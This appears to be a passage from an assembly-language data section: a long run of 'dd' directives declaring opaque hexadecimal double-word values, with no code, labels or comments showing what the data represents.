dd 322600AEh, 9D0580B0h, 6C0006ECh, 0AC235FF3h, 0FC1950BAh
dd 15D0001Fh, 0EBCB7A88h, 4EF6E704h, 0E89B860Eh, 9785230Ah
dd 0A65EB062h, 0AD410177h, 0F8027C44h, 1275C86Dh, 9BF73F09h
dd 0E5118088h, 3C2CB1B2h, 0AB00AFEEh, 68D67552h, 6F00EBDDh
dd 4910DF6Ah, 0C49406h, 36586317h, 0EA3BA78Bh, 70E7A0Eh
dd 0FDBB400Ch, 156CE7h, 0FF6694DBh, 0ACB769F5h, 0C0C3E400h
dd 6C61811Fh, 0EA0B77D3h, 44A40075h, 82691302h, 0D63DC921h
dd 0F8AB80CEh, 0A85D28A9h, 443B1D4Ah, 8FEDC009h, 5240DDC5h
dd 0F4F13800h, 9DB3997Eh, 7D7600E8h, 491B4879h, 0D601124Ah
dd 0CDE71742h, 2820BC85h, 3E1C000Ah, 0B61BB14Fh, 9E5846F5h
dd 0C71F0088h, 0E6076155h, 0D080269h, 0BAA416A2h, 30846740h
dd 8EAD0E00h, 0B097D9FEh, 17D11EC7h, 24CA6619h, 0AEA10355h
dd 0E74E43h, 0A4D9F652h, 0BBC8A800h, 16E13B53h, 0C3700BCh
dd 2D273C45h, 0A100ED60h, 7CB8D8ACh, 0A9354Fh, 0BEE691Eh
dd 0CA5CCB8Ah, 874BA000h, 72092730h, 0D65300B5h, 331B281Ch
dd 7E07732Eh, 0B44BB6F0h, 2BB36F90h, 54210BDCh, 7E001E26h
dd 225586Ah, 155C107h, 0D560DD85h, 0F3F8EBh, 0C68F6564h
dd 572683BDh, 228CFA00h, 359E2D78h, 0A94F0088h, 48CAC938h
dd 90000FC7h, 13CF34A8h, 2D081AB6h, 0CA40686Ah, 0BE000A77h
dd 1FFADF66h, 0E6031ACh, 6E91F414h, 20023BE7h, 9DD230Ch
dd 0D077BA09h, 8B510035h, 0B211478h, 0F443707Ah, 250D3080h
dd 3E0037FBh, 0AD29FF4Eh, 21B11Bh, 0E88B0F87h, 81D07384h
dd 0FF33CF00h, 0EF921D4Eh, 609C0094h, 2280A43Eh, 5F011253h
dd 0EE113AE8h, 1EE03940h, 37700F60h, 0BC404457h, 485022E0h
dd 65342407h, 11408D5Eh, 90F86Fh, 3EDE60B2h, 9D9402BAh
dd 7E61493Bh, 76843F00h, 1956F104h, 0D3D609BBh, 0DD8265h
dd 0D125A1A8h, 409600E7h, 8A1D3977h, 0FC00CCB1h, 0BE84EDF7h
dd 24DFBFh, 0BB885338h, 0BA669025h, 34732F00h, 7B9FB386h
dd 0FEBF3CB1h, 0BC192A80h, 4913D225h, 783E971Fh, 23EFE8C0h
dd 5D4F55h, 3F6E272h, 8446FCD3h, 173DA409h, 0AAB280D8h
dd 4DDBCBh, 68A5C185h, 0F62C1A36h, 9660A00h, 2D27A31h
dd 0C2D8002Bh, 80544A90h, 0EE007213h, 7117108Ch, 7A31E8D3h
dd 0DF3F00B6h, 842FAA9Ch, 79079937h, 7A66759Ah, 0AD40EE77h
dd 4E031Ch, 0EFD72D63h, 61E52C8Ah, 31FBF703h, 0E88BAACAh
dd 0D5FC87h, 6C04CBF0h, 5BB53C47h, 0EBB3A500h, 0C31A3F29h
dd 39AA00A7h, 0E7D0B0E0h, 0ED003651h, 0D0233B7h, 0F35CAD1h
dd 0C6DF95A0h, 7E636140h, 52FA6F77h, 9139467Eh, 6AA68022h
dd 4EBCFDB3h, 0D2C6000Eh, 5DEE0C8Bh, 2A008D97h, 96488CACh
dd 3FBB49Bh, 61759D17h, 0CFC8DE2Dh, 27000167h, 94496EEAh
dd 0CEB869h, 47FC38F9h, 0CB89E55Bh, 80449C3Ch, 0ADC057C2h
dd 38EF73D2h, 0FB80C7F6h, 60FA16D4h, 0C400067Dh, 320508E7h
dd 6A0B69h, 0FE33E189h, 3CA20A93h, 21097000h, 87A8CBF4h
dd 831F0097h, 6FF56310h, 13004203h, 0C1F36BB2h, 0DE0A0Dh
dd 0FE5FB6EAh, 2901DD64h, 0E8456003h, 0E011C359h, 0D3B771h
dd 2083E8Ah, 0EAC7FC46h, 240051E4h, 8CFEE2BEh, 0E424192h
dd 0E99D1439h, 0BA8B5A60h, 9B00DFB1h, 0F7807E94h, 48405DEh
dd 1AFB9E04h, 9794C022h, 0C100DB33h, 0C25A3C2Bh, 0EA8A3645h
dd 14E000F9h, 249D3A0Bh, 0C53959DBh, 0D28E000Ah, 0A530BB80h
dd 0F9880091h, 63E16EC7h, 0EF1E1D85h, 75C01C83h, 0F93289Dh
dd 9C4F03A5h, 179AAEACh, 0F425C0B4h, 0A97C603Eh, 83E9E207h
dd 0A2B059F1h, 574888h, 975CD86Ah, 54ED0E2Eh, 2CA0441Ch
dd 9A016503h, 0A3E590CFh, 91D4C0D4h, 0A6A1242Ah, 0CFEB301h
dd 0E6B0C4F9h, 28702BF5h, 4F7D0101h, 0B17E372Ah, 0E7F3C8E3h
dd 0D000D7F6h, 6AEFFBEDh, 77557A3Dh, 34F4007Bh, 2369B151h
dd 0DE05C149h, 2D0117B3h, 0A8C7D31Ch, 18101CB9h, 32C5E0h
dd 66DDA68Ah, 7A2ADF40h, 55BC1300h, 285957D3h, 1471FFh
dd 0F3B37726h, 360603CEh, 0B012073Ah, 0D937FA98h, 0F87071EBh
dd 820A00BEh, 40E8237Fh, 0EC008EBAh, 0A1909988h, 765EAF6h
dd 54283891h, 5E6AB0C7h, 35000B7Bh, 83CBE6D3h, 0E21C62h
dd 86C4E4Dh, 0DA442256h, 88E1E300h, 0B4D78050h, 96AD0043h
dd 0A1BFCA10h, 0AC1C3B86h, 5540EF44h, 8BB5ED84h, 0DFA0083h
dd 0A2D3DBA6h, 5D00A1ECh, 8972EF7Ch, 0F5CB031h, 0BF67F8ACh
dd 0E4E93A40h, 9009961h, 1035A177h, 2FD459h, 51D59BDAh
dd 0EFAE5CFAh, 0C38FD601h, 1FA07BBAh, 8C25F8h, 3061420Fh
dd 5AE62487h, 0C7FBD900h, 8288337Ch, 66510072h, 1B032F29h
dd 5C002E44h, 5436F08Dh, 4534E8h, 4E93E613h, 0F6476090h
dd 80825A00h, 0EB3D258Ch, 0B9FB0184h, 5EDCB0A3h, 7831E48Bh
dd 0ED148F0Bh, 0EF978018h, 3B6DAE76h, 2803DECAh, 5D058C4Ah
dd 668427B8h, 0B7A35800h, 565E496Bh, 8A9F0088h, 0C21D6A22h
dd 2AB8AC4Eh, 73243Ch, 0D1D86B9Eh, 6ECB34h, 2738A846h
dd 0A3B15EE3h, 790FDE00h, 9386C605h, 31C09F72h, 233D9F55h
dd 48661E39h, 755A82C0h, 0CAEE58h, 76691270h, 37B31735h
dd 0B2E69107h, 0CED0A493h, 1D3FF60h, 2BD86386h, 0FD832D5Ch
dd 0F048E851h, 0C6973200h, 0E206CBE3h, 1D4A1308h, 4D4C00B6h
dd 399BE0ECh, 6258FB00h, 99319E30h, 0CC3D0554h, 808941C6h
dd 0E8611A46h, 0C3D34700h, 11FA1BEDh, 0B35C07ECh, 0F12D98A1h
dd 0EC2E4D54h, 313EC614h, 0E36400F6h, 806553E7h, 50D37CCEh
dd 0F2CEC8h, 64F60D21h, 83E2BFB4h, 0B8AAAB00h, 8912A088h
dd 9BC40091h, 7E411B8Fh, 7D005132h, 6C296FC8h, 0F885847Fh
dd 9EC90ADBh, 8AC64Fh, 9C78D4ECh, 9001D1D2h, 0CB1F3E4Ch
dd 0F8C49668h, 5EDA012Ah, 0A4976C76h, 50C7E449h, 73D30800h
dd 2987B88Bh, 0AA1C00A8h, 5977E31Eh, 0D076793h, 557B495Ah
dd 5CCD7500h, 0F5621CE5h, 0D3007B0Ch, 5944BABEh, 0D00EDDBh
dd 92E9BF5Eh, 14B0984Eh, 88FD7950h, 2132B903h, 0DDA00C3Ah
dd 5400CAB7h, 432889FBh, 0F4604E36h, 18023D6Dh, 3D91340Bh
dd 32C0A90Eh, 0F06C661Eh, 0F7FBF200h, 9E05624Ah, 0D26F008Fh
dd 3E748447h, 626208Dh, 0EC2817B1h, 9C83360Fh, 2796075h
dd 28BD31h, 505D571Fh, 8C047DFFh, 0D2080126h, 0A9A04A00h
dd 3411DBh, 3CBA36CDh
dd 0D04831E7h, 0B566600h, 0C0E2930h, 46DD1E9Bh, 0FDC4F6Dh
dd 38D8ED60h, 3B00C82Eh, 13594CB0h, 9203EA9h, 0D1BD897Ch
dd 0D0B588h, 0EE6A23BFh, 8F03F41Bh, 90E6AB31h, 0E03BCBB6h
dd 0F2012FF5h, 29A98DDh, 0C2144F02h, 4E60699Dh, 4A16D424h
dd 0B5E01D1Eh, 0A1FC0096h, 0F7D5F2B1h, 6B0055ADh, 9BCBDFA8h
dd 75ED3154h, 408B1F3Dh, 0CEA2C3B2h, 0F9A8567Ch, 0A0032E9h
dd 4A9EE59Fh, 525B8Dh, 34FEC8BCh, 0BA06BD82h, 0A7E08900h
dd 3F084E77h, 0CC58000Bh, 34A3CA9h, 0AB1C1E99h, 0DE4BB3DFh
dd 75E805Bh, 62307Ah, 9F6365D5h, 0BFFF3625h, 40CF830Fh
dd 0F32C60E2h, 763A0F72h, 75BA003Eh, 0DA22143Fh, 6001D62h
dd 37E2A620h, 3FAC1EBFh, 6883B5F2h, 5492EA9Ah, 0CE4DC0FFh
dd 5A009BA6h, 0F784A480h, 0E951672h, 648B93ADh, 77373800h
dd 0C17DD9EBh, 52C2E00h, 520AA4BBh, 9DE86Bh, 3C34403Ah
dd 975918F1h, 37087403h, 0B067C96Dh, 986F3193h, 55210066h
dd 1833DE35h, 7303703Fh, 12374F1Bh, 91CE867h, 47810063h
dd 5CCEDE13h, 0E9007FC7h, 0EC3D4D24h, 693F96h, 0DF0F472h
dd 0FB936F02h, 0EBC88B00h, 0EE4AC050h, 74FEF2h, 8F75586Ah
dd 7D8BC33Eh, 0DD43EF0Eh, 68A66024h, 752E4C42h, 0B3671EC5h
dd 1DF100BAh, 0A6C832FDh, 84E4CE00h, 20B5B876h, 484F0036h
dd 28ACDD2Dh, 0F700C477h, 1866F0BBh, 6CF94Bh, 0A5DF783Eh
dd 690111E4h, 0F9905F7Ah, 30E734A3h, 0BA881F55h, 1B03F370h
dd 3979343Bh, 8D5EC0D0h, 0EF91006Ah, 82156092h, 8F721F59h
dd 5816BC05h, 0D3C02DCDh, 2EF917h, 3C1044F0h, 1D8D96FBh
dd 1CEE1500h, 2D7122FEh, 0E1DF077Bh, 50573C60h, 0CBA6F136h
dd 77009EFCh, 327B875Ch, 0B6D033h, 59A1748Fh, 3B105424h
dd 0B3934500h, 424838C2h, 25FC3F0Fh, 0BBCAAE83h, 22B0B679h
dd 6500669Bh, 4A71FF90h, 0C3C178h, 2C5C4317h, 8185305Eh
dd 0C8BA2E00h, 4C60E8D4h, 0BFDE03AFh, 0D1D53EF7h, 0FFEA12C0h
dd 0ED32AC07h, 8BD0EBADh, 1D3C0CEEh, 803BBB6Ch, 617C63D1h
dd 790075A1h, 31C2CEFBh, 0D8CA93h, 340A6583h, 0B4784566h
dd 5B4F8800h, 0B5AD396Bh, 42CD03F2h, 450F9059h, 94102F88h
dd 359F962Ch, 287E9900h, 0FCD6112h, 0A9AFA589h, 6DA41043h
dd 31BA9ED0h, 0A247A1Ch, 0D687083h, 0C463888Bh, 7D70E76h
dd 87804941h, 296B9480h, 0B8AD000h, 4CFADEE4h, 1208001Bh
dd 959C3990h, 0DA0194DBh, 744F857h, 0F460FD60h, 92290289h
dd 0ECD59CCFh, 696E0560h, 0AF21BC00h, 0FB24AA54h, 0B1363C8Eh
dd 2A18FF80h, 0AE0A1B3Bh, 0B5E15100h, 9E854A99h, 0B9E40082h
dd 0EA7C38A5h, 0CF23ECCh, 4641830Eh, 79C4006Ah, 16BD8DD0h
dd 1C23C6F8h, 39FF01E3h, 0ECCB2297h, 4F0F8E32h, 0BE6419h
dd 463FBAFEh, 250F3ED8h, 7207C13Bh, 70D1344Bh, 0EA364D3Ah
dd 9559FD00h, 14AE815Eh, 33060215h, 0ED637194h, 0A937F060h
dd 73846126h, 0E895A00h, 0F5742B1h, 13F4DF9Dh, 0EB591160h
dd 800BA56h, 9B27E8AAh, 2C3F2E61h, 1C227302h, 0D48ECE49h
dd 0E5217880h, 220E5D85h, 0C135D177h, 6A5624C1h, 7A9F57F8h
dd 0EB6E0010h, 89BC75DEh, 2F0E54C5h, 0C085C48Ah, 297EB790h
dd 0EBB000CEh, 4A86C8BBh, 0C100274Fh, 6D3C28ADh, 0B09C6604h
dd 8DBB006Ah, 7615FC11h, 0FDF605CFh, 0A6642A00h, 348F967Ah
dd 0C7E00F1h, 0DBA0C43Ah, 0AF07ED17h, 0F33C0AC6h, 88047410h
dd 45C50066h, 841829E9h, 51079BD2h, 0F2DC4213h, 6C321210h
dd 2AE0005Eh, 886D8EF7h, 4300ABF9h, 3C0FA3AEh, 4A969Ah
dd 15EDDC2Eh, 2136B803h, 9C324E38h, 7100D9C6h, 28011693h
dd 9353DEEh, 0C0003A3Bh, 0D3A08CACh, 582E8D50h, 0E2135BBCh
dd 7B543800h, 6D8BE7h, 0E32A0299h, 0EDABB87h, 0CDF07875h
dd 9AD6B100h, 2560947Fh, 5222076Dh, 0A00AC71Dh, 0EEE6BF1Fh
dd 409DFA00h, 3157F973h, 45AF0095h, 3DA50C24h, 0A9000A9Fh
dd 218A1BBAh, 117E07Dh, 52A475BFh, 0C8ADD2B5h, 781ED668h
dd 0C80841Fh, 0F9E30BCBh, 57B400AFh, 68931C89h, 592E3D3Eh
dd 9701EF43h, 0C5D9A142h, 3E363D4h, 6EE4F90h, 0D2F84A34h
dd 370005B6h, 3F40DDF1h, 0F828C1h, 0F2A47694h, 7832E048h
dd 63777400h, 26B76E8Ah, 0F8E70002h, 1A46EFFCh, 0E273C119h
dd 0F07311Eh, 0DDD83B40h, 7E3AEA7h, 7A2FB330h, 43CE064h
dd 0B80E8E15h, 40B97397h, 0AD4178DCh, 0DE67384Ah, 9BDF2400h
dd 7DA78BB0h, 5300BFE4h, 0D3E0ECACh, 722B42A4h, 6BE684h
dd 0A28DC30Fh, 720755A1h, 0D2FE1100h, 4EDC4160h, 709F007Fh
dd 0A087717Ah, 100E303h, 0F118CA9Ch, 36C1B6Ah, 0E24FE778h
dd 79A0A02Dh, 2A00D4F7h, 0B73DB2E1h, 5BF72h, 92F9C297h
dd 421AA31Bh, 91A4D6C1h, 9DCAE6Ah, 0DCE80494h, 80533BE9h
dd 0BE291F14h, 18B7D500h, 0F437DC8h, 2C570790h, 0E0F71293h
dd 13C023E9h, 2987BB00h, 496AE277h, 0AA2F00E6h, 0E7A27441h
dd 42EADF05h, 0EFADE500h, 920E6CB3h, 9A0900AAh, 4DE08FB7h
dd 0D2748386h, 1C53EF00h, 4BC234ACh, 37500045h, 0FAE9CA8h
dd 0D300C60Dh, 686D4F9h, 0C5D47C8h, 0DCB52569h, 38044F36h
dd 6B154678h, 9F91FEC0h, 17840020h, 83024A49h, 0A3F6CD7Dh
dd 0EF714002h, 0E081C05Bh, 13EEC58h, 0F8F353E8h, 6A888BBDh
dd 7D792F0h, 0B8A8D445h, 0BAE05FC3h, 7E89973Ch, 0AB1A6000h
dd 26E01207h, 6ACF00CDh, 1D011C94h, 933DE30Ch, 4563809Ah
dd 262C678Fh, 0C9FE014Fh, 885C038Bh, 0DFBCF440h, 0D1CDAB00h
dd 43C4C1A8h, 84953A66h, 98560100h, 5F2FBDCBh, 0DB4E7C00h
dd 3A297F99h, 91BE01D4h, 3051163h, 0F0C7D03Fh, 0C56F0C00h
dd 0FAA03A1Ch, 36398ABh, 7DD4500Dh, 73E8D60Bh, 0B5E04982h
dd 0A2624601h, 9129B1A5h, 0CA68D4h, 475DF5F9h, 4419673Bh
dd 360E2BE6h, 277AF246h, 0C220CDD6h, 0E0FF2AE8h, 9A6A0073h
dd 0CC88510Dh, 610B2F6Eh, 465C2DFh, 3C0F5A7h, 8DBF14h
dd 0CA7997ACh, 0B2ED3073h, 2E01937Fh, 41963FDh, 6270BEE6h
dd 35A600E4h, 25CA9AE0h, 750023A8h, 30C21C3Eh, 3E19905h
dd 0D4010FB7h, 1F9B2F59h, 0A1360988h, 962C5A00h, 7B810327h
dd 19010089h, 0C991BC28h, 0A3906899h, 845CF009h, 40D88FDAh
dd 756F34E0h, 6C600A2h, 2EE70A8Bh, 2200620Bh, 717EA8DDh
dd 39DBF6Ah, 1391183Eh, 0E0B8EB80h, 35001E53h, 8FA5A3CEh
dd 0C78BF5h, 901A611Fh, 0FA69DDC0h, 126A5C0Eh, 0B6D4059h
dd 675836h, 0B033306Bh, 9FAF3E97h, 21F98B00h, 0F26CD588h
dd 761A005Eh, 0D16B5209h, 0EB7415B4h, 1F562600h, 0AB0408B3h
dd 85060724h, 0E07F93FAh, 3ADC9D83h, 0DD6E7B00h, 0AB2739CAh
dd 348226E2h, 67F90081h, 0AA8D805Bh, 1A072100h, 0CA88C70Eh
dd 948700D3h, 9BB07355h, 7A00E7BEh, 0D2D7FB20h, 3A898C37h
dd 2B8026B9h, 562C1FD6h, 7D007F47h, 0EC404FE3h, 3AFB7h
dd 0AA74114Dh, 6F38A7AEh, 0D9C14100h, 8672F571h, 5C7A5Eh
dd 2C70CF54h, 0BACC9FEFh, 0AAD7FD00h, 0E53A27C3h, 26101F39h
dd 0C1D3406Dh, 9AD0B465h, 46A3D703h, 0E8D49822h, 7278284h
dd 70DA5678h, 0ABBF90C2h, 5B00A91Ah, 0E7EFB27Bh, 736E46h
dd 5718F9Eh, 4754D8BDh, 49E90F00h, 0B8C2AF7h, 689B00A8h
dd 664D4AEh, 2C7A19D6h, 215B771Dh, 1B514C0h, 4D9BEAh, 816E7F33h
dd 506836E7h
dd 0D7E148h, 2F6FB070h, 3FDCF3C3h, 551CC8B9h, 0FF99C266h
dd 9240B81Dh, 0D0009284h, 80A3F616h, 1553607h, 3E86E7DDh
dd 602A0173h, 0CD1FFC5Fh, 0E10074D9h, 0F2256338h, 49C500C7h
dd 561F15ECh, 0A400C4FEh, 0E1C309BFh, 352D28Ah, 0B3769791h
dd 5F85EADh, 0AA007CFAh, 0AF0B034Ah, 0D9C25Ch, 0EEAB65F2h
dd 4BDB998Fh, 4D347A00h, 0B594554Fh, 710A00FAh, 8AF30DACh
dd 82F4E6B8h, 0E0F2BC00h, 0D4F89B69h, 26C7072h, 0A7240253h
dd 3AC0EB1Ah, 1B03DDE2h, 68FA8070h, 449890D3h, 82631C19h
dd 2407C002h, 0E90A2288h, 0E3B67A03h, 9B529EBAh, 0DCBFE81Dh
dd 9D707897h, 0D900D278h, 0E6012353h, 7846B86h, 0EB220696h
dd 78580028h, 6503CA0Ah, 0C27D5615h, 8A2C8853h, 73D986Bh
dd 0ADD0C54Ch, 0B1D341E9h, 70FEC03h, 70565E03h, 0CF793FEFh
dd 0CB12D5A3h, 0B08FC08Ah, 2ADF585Dh, 16FA6100h, 5BFD4224h
dd 947A700h, 2FCAF74Ch, 0C65400CBh, 0DA07D14Ah, 9300EF59h
dd 8B4919F8h, 0A6322h, 770E100Ch, 95600B88h, 0DA30DF00h
dd 472B287Bh, 737AA6h, 5B5E6B4Ch, 0CBA8A51Fh, 0CA384B00h
dd 4E83DE8Eh, 0DDD40040h, 0F12C24F0h, 8D006379h, 86D133E8h
dd 5EA4574h, 0F9602DBBh, 2C96C0FCh, 9800255Bh, 0DDC1E1ABh
dd 0A0677Ch, 0AC70D6B5h, 7AE38885h, 0FF332300h, 7E2EF483h
dd 0F1FA0252h, 0B3D332D4h, 0B75D407Dh, 78FB394Ah, 93F64604h
dd 80F5C088h, 0AF00701Ch, 0D74437CCh, 74F35F7h, 2D99A17Bh
dd 0CE299183h, 0D1C1F10Fh, 9481D0ABh, 907BC0F7h, 38B3ED07h
dd 851077D1h, 0E540CA7h, 3D16AE69h, 0B4D5D280h, 0F900CBF6h
dd 0A37E21FDh, 0D32848h, 0A90B66ACh, 1E055A60h, 10FB4700h
dd 9C9E0C73h, 6DEC0F03h, 1DA0E976h, 0A8C3393Eh, 73378B00h
dd 0B64E8C51h, 0DEAF07E1h, 123D5472h, 5BE0E7C3h, 0F3004FE0h
dd 558BF256h, 434E69h, 0C1AF9080h, 0B6E55F87h, 8DA4E705h
dd 0D5804DDAh, 2859532Ch, 8016FFh, 3CFD2F89h, 27C7329Dh
dd 2423B300h, 655EA852h, 0BCA100D4h, 7C51D598h, 0B9006FB6h
dd 15EFC4F4h, 1637DACh, 45233C20h, 0EEC92E89h, 0BCDBBB40h
dd 494E3303h, 8020EDFFh, 76537BFh, 8E2E9CE2h, 3D9F5058h
dd 7A26578Ch, 0E300E896h, 5C2594AAh, 0ECDA00B2h, 0BF8AE50Fh
dd 0C800695Bh, 0A4B80388h, 0E004A64Ch, 0AF7D6Ch, 6962EFF4h
dd 1072DCABh, 48B70A00h, 0AFE64CF2h, 965C3F42h, 23DFD880h
dd 0EECD9D07h, 80B5163Bh, 61A4329Eh, 0EE4FCA8Bh, 1742003Eh
dd 8AB085A6h, 6D014A40h, 5E38050Fh, 0A0CF361Fh, 0EBA201h
dd 0EC74312Ch, 59BF3F28h, 1442C314h, 0AB7202DFh, 0E05627F3h
dd 73EB75h, 0D8F5AF10h, 64912DEh, 0A100E77Ah, 367A31F8h
dd 57D0C8h, 5AC3B6ADh, 0C4AB96BFh, 0B7008776h, 5853EC3Fh
dd 6F4CCh, 37AA4AF2h, 0F9DBFD01h, 0C476620Fh, 0AB9B40D0h
dd 1E0A2D8h, 889478DCh, 0F8BF4C04h, 850E81B1h, 8F12682Fh
dd 9B520F1h, 5FAFAEA4h, 7A40A888h, 2BDC8600h, 0E603D358h
dd 7962250Ch, 7E00C8DCh, 0BB0A8309h, 29A33870h, 8A031D80h
dd 72766732h, 0C4256403h, 0D8FA9922h, 86A0B7h, 463F952Fh
dd 5BC310BCh, 1EDFE758h, 80BEEE3Bh, 0D407A7A1h, 383FF2D0h
dd 0D685CA41h, 52977Fh, 2EC10B82h, 2207EF64h, 7277AE08h
dd 340D86h, 466A1439h, 0AB3C17ACh, 0A3972900h, 551F8665h
dd 0C18300B1h, 0B3794BC2h, 0E0000E58h, 30AC45A1h, 7D7E01h
dd 0E54CB7A4h, 8C52F703h, 426EE90Fh, 0A51A8057h, 144CD43h
dd 0F6C110F5h, 0E0EF0503h, 124F3D8Ah, 682C65ECh, 0D837182Fh
dd 0E300DAAEh, 9D7AB95Dh, 3EDF54h, 42915CFh, 0B510EC07h
dd 271D2800h, 9F32D3D4h, 127200D7h, 0FBD11BADh, 2900B0F4h
dd 0EF7FE8CFh, 4DB363h, 0CA8A186Eh, 5B229BCDh, 8FBD090Eh
dd 4E4B80F6h, 204F51Ch, 0C3DA779Eh, 9880813Dh, 0C9D84F9Dh
dd 7E8E6E00h, 7019B8B7h, 808A0315h, 7F668F1Eh, 8D5488E8h
dd 0BF724000h, 6D5BC851h, 18760085h, 0AE4441BDh, 32E2EC68h
dd 4B00D2F8h, 93B9C43Bh, 452E5Bh, 9A61D086h, 0DD21E55Ch
dd 0A003270h, 0AD22BE9Eh, 7EDC167h, 84B398C2h, 30A770CEh
dd 710340A8h, 444BC0E8h, 0C6A48049h, 1BB304F0h, 807C4E25h
dd 46013274h, 3C132979h, 3D027036h, 60900734h, 0AEE9D9h
dd 0B221A632h, 0DFF50DCBh, 7F922E00h, 6B9DDA3Ch, 0C1D2008Bh
dd 1E648D4Fh, 0B0050FF5h, 0FCED55DCh, 26D7F6C0h, 5114021Ch
dd 64B17C4Fh, 339EC0DDh, 6A98015Fh, 0B7F344B9h, 0BFC0C4A8h
dd 4CAD39h, 142B631Ch, 7C456A9Ah, 666103DCh, 69355C4Fh
dd 0FC182D80h, 0C0B32A00h, 0B22E98B0h, 49A70EBBh, 9BEF3154h
dd 0D885CDC0h, 45005077h, 0B8F2362Bh, 0E2D9Ah, 76FFA69h
dd 0BD817094h, 1707F576h, 41B6F326h, 4B9255C0h, 23E007Fh
dd 5650512Eh, 22033F34h, 23B47E90h, 3AB6A0A2h, 0DB8D0247h
dd 8130C311h, 752CC0C0h, 7000FBB0h, 377DD05Fh, 5EBDF9h
dd 0E6B25805h, 554A91AEh, 0C336F002h, 608FC501h, 50B8E063h
dd 0ED69A14h, 56F6E38Dh, 62FD000h, 0D1E65BE5h, 39A97F00h
dd 434CEA19h, 63D85C8Eh, 693B1300h, 159B63DFh, 0F648BB00h
dd 97C4D747h, 212D0037h, 61246DE5h, 5700180Eh, 0E4C05F52h
dd 70F0D2h, 26E890FAh, 9A4295A5h, 0BF94B600h, 1B6E4BCEh
dd 0EEB40E34h, 0D6A03779h, 0D4352D85h, 9B129400h, 5C2B66CCh
dd 0C7F6C4h, 0A7A0B20Ah, 0E6A4FA7Ch, 4DE7D903h, 978C3901h
dd 0DB5BCEF0h, 2493585Ah, 0FA7F800h, 337C53EAh, 64816B00h
dd 232BDACBh, 0D430071h, 0BBB94EF1h, 5100015Ah, 0B5DC9298h
dd 3CAB824Dh, 0DB00523Bh, 8D390271h, 5B00A3C7h, 5C95CEA5h
dd 9353C1h, 0F488FECCh, 9DB64AD5h, 79356700h, 0B0DDFAA2h
dd 8CAE0091h, 0B81ACDD8h, 39005A6Eh, 0C18BED06h, 7F8020BEh
dd 5D2010Dh, 25AA877Ch, 42B9FDC6h, 4340CDFFh, 3200F7F8h
dd 0E1C98494h, 0F73097Ah, 0EA17939Ch, 0DB6169C3h, 797E1DE0h
dd 591A0F00h, 0D2687FBFh, 63FA14h, 8CA66F72h, 0BD516710h
dd 0C7128300h, 4C22108h, 0FA840040h, 74195796h, 750067FFh
dd 0EAB7E04Dh, 34E5F4Ah, 56340A1Eh, 28E08BEEh, 2D0020ACh
dd 0DDF612AAh, 80CC19h, 3390E17Ch, 0D0A1AE7Eh, 0D00697Ch
dd 5609C9C0h, 8DE542h, 80600467h, 3C71FDE7h, 0CB6AB300h
dd 79CFAD68h, 437D07B1h, 701BFB52h, 0EE1C47A3h, 36E1E400h
dd 0E5013ACh, 0D9050089h, 0A6E6D327h, 0EA3994F8h, 0DD3381B7h
dd 5495C16Ah, 7D78CCh, 0EDD54D52h, 56DB9153h, 9728F07h
dd 6A30EA93h, 789430h, 7D1FFD54h, 8EE9E384h, 0F7483Fh
dd 24E75337h, 7DD113Ah, 0EB8A76F4h, 86FCD0EFh, 0C701D94Eh
dd 336C38BFh, 0A9ECC28Fh, 0DFD60066h, 53CC01F5h, 0E203453Fh
dd 0F950839Eh, 6DD7B01Ah, 55FC38h, 3EF3F4C9h, 0EA356FB4h
dd 1E0B5E7Dh, 0D5EDD425h, 16910300h, 653AD8A8h, 520680E8h
dd 0D9D45A3h, 0F5EEA9h, 0F3512DAAh, 38FC3357h, 8B138472h
dd 1FA1C94h, 5FDA4C28h, 0EFB2F81Ah, 0B6F64500h, 51601D4Bh
dd 895401B3h, 0D1DA0C42h, 3C40245Ch, 6959D401h, 0B7B35A57h
dd 76CE8ACCh, 0F4051FE3h, 41803BE0h, 0E225B417h, 0E7009D0Ah
dd 57BF3EAh, 0D5A020h, 0C872B146h, 0D187139Bh, 3EB41000h
dd 406C697Ch, 0F81B008Fh, 6F76FE5Ch, 0A80009CEh, 8BD6A23Ah
dd 0E06A6799h, 0E8780Ch
dd 8850EBCCh, 0E0C491A7h, 0E9983E00h, 5C4BC3C0h, 0F8200029h
dd 637E544Ah, 107F3812h, 0B053922Eh, 0E02E3200h, 160D4A9h
dd 918CAF46h, 0CC6AD071h, 42000609h, 2DB5503Dh, 0D211F6h
dd 0A4984EB6h, 375EA080h, 78CDEF00h, 0D62814DFh, 0E73B01B3h
dd 0A4F1E2BEh, 80A48079h, 8F46F34Dh, 0DBAF0060h, 0BF495945h
dd 0B5008164h, 51129AAAh, 0B8ED22h, 0C2A15611h, 0C0BAE9D8h
dd 93490B00h, 0FF44DA52h, 555B00C1h, 2E96B9A6h, 0BA4C0EE3h
dd 0AFD80097h, 0A8D4670h, 0AB5D0708h, 70CE4FEBh, 0F90D973Eh
dd 0FA5ED200h, 0BAC244D0h, 0D59A0055h, 0B2ACA03Ch, 721FDE10h
dd 0E84A8EFBh, 0A200FA79h, 874246F4h, 0DCFE022Ch, 0A377FACDh
dd 20B6F640h, 0EC50BDh, 357A55B5h, 0FB66E70Fh, 48984700h
dd 735F9A80h, 6C0700CBh, 4DF27636h, 0BE00AE56h, 2ACE09ACh
dd 3AF32093h, 0B80800Ah, 0E2B4265Eh, 1303557Fh, 9802A836h
dd 0FA40BFA2h, 0A0117Eh, 0B6DAD038h, 4EC8284h, 48A71F00h
dd 8A62BCC2h, 0F68500B5h, 11C0CF30h, 0FE3F6FEEh, 0D7BB00C1h
dd 4104B4ECh, 0AFFEBDh, 1872CD95h, 3C604B37h, 562C2A0Bh
dd 4C638069h, 0B8544F79h, 0D0C8013Dh, 2B721F8Ch, 0D295C4BBh
dd 0E08DFC00h, 0F3D6A6EDh, 0A2F005Ch, 1E5BD1ADh, 8A00EE88h
dd 1742592Bh, 0F28FD9h, 21EAB208h, 6213BF02h, 0F3E52207h
dd 0A6E05687h, 89EFA7h, 0C2555C5Eh, 3E9F4F2Dh, 0ED3300Fh
dd 0E018EEFAh, 3F745E79h, 5F5A007Fh, 0EFC89B67h, 0E200F521h
dd 4EFEE954h, 6E898Eh, 7BBC4DCCh, 0E5B6CFD1h, 4309097Bh
dd 83EB5A15h, 0B005474Ah, 2DB2A5h, 98194E01h, 325B29BAh
dd 984B4Ch, 743D53DEh, 61A488h, 0E515D875h, 1F70EE95h
dd 2639031Ch, 0E7CA03BFh, 0E1C25244h, 3FE478B2h, 6F1C00D7h
dd 6763A7ABh, 5EFAFE3Dh, 0F85C6103h, 902B6E56h, 14C7DD1h
